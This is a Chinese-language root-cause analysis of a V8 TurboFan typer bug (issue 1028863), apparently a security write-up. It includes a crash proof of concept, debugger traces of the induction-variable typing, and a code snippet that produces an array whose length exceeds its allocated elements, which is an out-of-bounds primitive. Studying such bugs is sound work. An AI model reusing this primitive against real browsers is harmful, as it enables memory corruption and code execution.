function trigger() {
let begin = Infinity;
let end = 1;
let step = 1;
for (var i = begin; i >= end; i += step) {
step = end - begin;
begin >>>= 805306382;
}
}
function bar() {
for (let i = 0; i < 10000; i++) {
trigger();
}
}
bar();
通过访问其issue页面可以得到以上poc代码,再编译存在该漏洞的相应v8环境,并使用d8执行该POC产生crash

使用windbg捕获异常代码如下:

通过观察IR图可知,21.phi节点type被设为range(-inf, inf),之后会通过26节点去进行比较21节点是否小于或等于16节点,对应代码中的i >= end,如果不满足条件就进入28.ifFalse分支结束循环,如果满足就进入33.ifTrue分支,该分支最后会执行到48.TypeGuard节点,该节点会以40.SpeculativeNumberAdd节点的结果作为输入去进行检查,检查过后再将当前值更新到21.phi节点

其中40.SpeculativeNumberAdd节点会以21.phi节点与37.SpeculativeNumberSubtract节点的结果作为两个操作数进行运算,37节点又会以一个常量1与一个范围在0~inf范围内的phi节点作为操作数进行运算该减法运算对应代码中的step = end - begin

此阶段逻辑基本与Typer阶段一致,区别就在于前面的40.SpeculativeNumberAdd节点被优化折叠成了70常量NaN节点,而在TypeGuard节点之后便会转入unreachable节点进入turboFan 认为是 unreachable code 的代码区域。

而通过观察JIT代码可知在调试器中触发中断的int 3指令就位于该unreachable code 代码区域。

由于漏洞的产生是在Typer阶段所以对v8::internal::compiler::TyperPhase::Run函数下断,通过以下调用路径进入v8::internal::compiler::Typer::Visitor::TypeInductionVariablePhi函数

该函数会先获取一个初始化值的类型已经增量值的类型

之后会使用一个判断来判断前面取到的两个值类型是否为整数,如果两个数都不为整数就回退到正常的phi类型

之后会去判断是否有足够的增量值与初始值信息,如果没有就直接将初始值类型信息返回

然后开始处理边界,首先获取归纳变量算术运算类型,再将最小值设为负无穷,再将最大值设为正无穷

然后去判断归纳变量算术类型是否为加法,而这里的算术类型对应POC代码中的i += setp // i += (-Infinity),由于是加法所以满足此处判断

在经过赋值后increment_min与increment_max都等于-Infinity


由于increment_max小于0所以便会进入如下if分支

在经过该else if分支后得到max为Infinity


在之后的for循环体中将会通过bound_type.Min函数为bound_min赋值为1


之后会第一次为min赋值,此时min值为-Infinity

然后会第二次为min赋值,此时min值依然为-Infinity



最终v8::internal::compiler::Typer::Visitor::TypeInductionVariablePhi函数将会返回Range(-inf, inf)类型

对漏洞利用的调试分析都基于以下代码,但此代码不是漏洞利用代码。
function trigger(flg) {
let value = 0;
if(flg){
value += 10;
}else{
value += 13;
}
var array1 = new Array(value);
array1[0] = 1.1;
return [array1, {}];
};
for (let i = 0; i < 20000; ++i) {
trigger(false);
}
var u = trigger(true);
当在创建数组时会在TypeLowering阶段去调用v8::internal::compiler::JSCreateLowering::ReduceJSCreateArray函数,在该函数中会使用推测值来分配elements的大小,而在运行时才会将实际的length写入数组对象。
查看修复补丁:

它在相关位置将传入的length改为了常量以此来防止因为typer bug导致的数组实际长度>elements占用内存大小的情况。在相应函数位置下断,进入ReduceNewArray函数查看其对elements内存分配的具体操作,在ReduceNewArray函数中会先确定elements的种类并通过该种类获取map,通过调试在此处该类型值为0x5具体对应什么类型暂时还未知


之后会去设置elements与属性,也是在此处会去申请创建elements,而capactiy就是要创建的elements内存大小,当capactiy不为0时就根据capactiy去申请内存创建elements

当代码执行到if时可知capactiy为0xd,也就是说ReduceJSCreateArray函数会用推测值中的最大值去创建elements


然后继续跟进AllocateElements函数中

该函数会先对capactiy进行一些检查,其中会先检查capacity是否大于1,然后再检查capactiy是否小于JSArray::kInitialMaxFastElementArray,JSArray::kInitialMaxFastElementArray为0x3FFC

然后会根据elements_kind也就是前面获取到值为5的elements类型去获取elements_map与access,然后通过AllocateArray函数去创建elements内存

最后还会通过一个for循环去初始化elements中的内存

AllocateElements函数执行完毕后回到ReduceNewArray,然后会去创建实际的Array对象

通过issue 1028863的type bug可以得到一个值为NaN而类型为kInterger的变量i,利用该变量配合Math.max等数学函数可实现创建一个array length>elements capactiy的数组
var value = Math.max(i, 1024);
value = -value;
value = Math.max(value, -1025);
value = -value;
value -= 1022;
value >>= 1; // *** 3 ***
value += 10;
var array1 = new Array(value);
使用windbg调试,当执行到ReduceJSCreateArray函数创建elements时其capactiy为11

而当数组创建后数组对象中保存的length为0x7ffffc16


然后再去查看elements中保存的length为0x16,由于数组容量d=length/2故此处保存的elements length长度实际也是0xb与在ReduceJSCreateArray函数中创建elements容量大小一致

查看JIT代码也可以找到对array对象length字段赋值的操作,在内存地址00000305000C2D3A像向数组对象拷贝map,00000305000C2D94拷贝数组对象elements,00000305000C2D98拷贝数组对象length
DebugPrint: 0000030508356EF9: [JSArray]
- map: 0x0305082818b1 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
.....略
0000030B000C2D3A 21a 41bbb1182808 movl r11,00000000082818B1 ;; (compressed) object: 0x030b082818b1 <Map(HOLEY_DOUBLE_ELEMENTS)>
0000030B000C2D40 220 458958ff movl [r8-0x1],r11
0000030B000C2D44 224 458d5c240a leal r11,[r12+0xa]
0000030B000C2D49 229 4c8b15c8feffff REX.W movq r10,[rip+0xfffffec8]
0000030B000C2D50 230 4d3bd3 REX.W cmpq r10,r11
0000030B000C2D53 233 7312 jnc 0000030B000C2D67 <+0x247>
0000030B000C2D55 235 488b15cbfeffff REX.W movq rdx,[rip+0xfffffecb]
0000030B000C2D5C 23c 4c8b15d5fdffff REX.W movq r10,[rip+0xfffffdd5]
0000030B000C2D63 243 41ffd2 call r10
0000030B000C2D66 246 cc int3l
0000030B000C2D67 247 4d8ba568010000 REX.W movq r12,[r13+0x168] (root (empty_fixed_array))
0000030B000C2D6E 24e 45896003 movl [r8+0x3],r12
0000030B000C2D72 252 478d341b leal r14,[r11+r11*1]
0000030B000C2D76 256 4c8b159bfeffff REX.W movq r10,[rip+0xfffffe9b]
0000030B000C2D7D 25d 4d3bd6 REX.W cmpq r10,r14
0000030B000C2D80 260 7312 jnc 0000030B000C2D94 <+0x274>
0000030B000C2D82 262 488b159efeffff REX.W movq rdx,[rip+0xfffffe9e]
0000030B000C2D89 269 4c8b15a8fdffff REX.W movq r10,[rip+0xfffffda8]
0000030B000C2D90 270 41ffd2 call r10
0000030B000C2D93 273 cc int3l
0000030B000C2D94 274 41897807 movl [r8+0x7],rdi ;; Array elements
0000030B000C2D98 278 4589700b movl [r8+0xb],r14 ;; Array length
